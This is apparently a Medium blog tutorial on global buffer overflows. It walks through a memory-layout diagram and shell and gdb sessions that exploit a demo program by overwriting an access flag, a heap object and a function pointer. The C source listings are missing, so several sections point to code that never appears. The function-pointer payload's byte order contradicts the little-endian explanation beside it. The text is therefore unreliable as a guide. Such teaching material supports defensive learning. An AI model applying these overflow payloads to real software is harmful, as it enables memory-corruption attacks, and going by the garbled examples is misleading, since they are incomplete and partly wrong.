There are a lot of articles, posts, and even books which describe a stack buffer overflow. There are a little less stuff about heap buffer overflows. But there is one more thing which you can overflow — buffers in global memory. Although all of those types of issues are very similar, let me try to fill this little gap with global buffer overflows.

Where do global buffers live?

There are two places where global and static variables can be located:

  • segment for uninitialized data (BSS segment)
high address
| command line arguments and |
| environment variables |
| stack |
| | |
| V |
| |
| |
| |
| |
| ^ |
| | |
| heap |
| uninitialized data (BSS) |
| (initialized to zero) |
| initialized data |
| text |
low address

An example of a global buffer overflow

Here is a very simple example of a global buffer overflow:

How can I exploit a global buffer overflow?

The answer is the usual — it depends. More precisely, it depends on what kind of data is stored in memory which you are able to overwrite or overread. Here are a couple of examples.

Overwriting sensitive data which may lead to security implications

Here is a simple program which takes a pass phrase, and prints a secret phrase if the password is correct:

$ gcc -g gbo.c -o gbo
$ ./gbo wrong
access denied
$ ./gbo `python3 -c "print('x' * 16 + 'y')"`
this is a secret
char access = 'n';

Overwriting objects on the heap, or just crashing the application

Normally the heap starts somewhere after data and BSS segments. But the actual address may vary. Let’s consider the following code:

$ ./gbo `python3 -c "print('x' * 2**12)"`
buffer address = 0x601070
allocated address = 0x773010
allocated address - buffer address = 1515424
allocated (before) = test
Segmentation fault (core dumped)

Overwriting a function pointer in global memory

A function pointer contains an address to a function. A function pointer can be used to call a function. Pretty straightforward. Here is a simple example with overwriting a function pointer:

$ gcc -g gbo.c -o gbo
$ ./gbo `python3 -c "print('w' * 256)"`
Segmentation fault (core dumped)
$ gdb --args ./gbo test
Reading symbols from ./gbo...done.
(gdb) break gbo.c:36
Breakpoint 1 at 0x40068c: file gbo.c, line 36.
(gdb) run
Starting program: /home/artem/tmp/gbo test

Breakpoint 1, main (argc=2, argv=0x7fffffffdcf8) at gbo.c:36
36 func();
(gdb) p func
$1 = (void (*)(void)) 0x7777777777777777
(gdb) p print_secret
$2 = {void (void)} 0x400607
(gdb) quit
  • We need to remember that we are on 64-bit system (in my case), so we need to write 8 bytes to overwrite func pointer
  • We need to remember that we are on little-endian system (in my case), so 0x400607 should be reversed — 0x070640
$ ./gbo `python3 -c "print('w' * 16 + '\x00\x00\x00\x00\x00\x07\x06\x40')"`
this is a secret

Reading sensitive data

Everybody knows about Heartbleed bug in OpenSSL. This is just a great example of buffer overread vulnerability which means that an attacker can read a buffer out of its bounds (“overflow” sounds a bit confusing here). In case of Heartbleed, an attacker could read sensitive data from the heap. But it’s also possible to read data from global buffers which may also contain sensitive information. Here is a very simple example of a vulnerable program:


Same rules apply. As you can see, there is no much difference between overflows in stack, heap and global memory. Developers should be careful while working with memory. Using a brain and being careful should help to avoid introducing memory corruption issues. Appropriate deadlines and not being in a rush should also help (dear managers, you can help your developers here). Code review, tools for static and dynamic analysis should help to catch issues in time.

I write about Java, security, electronics and DIY

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store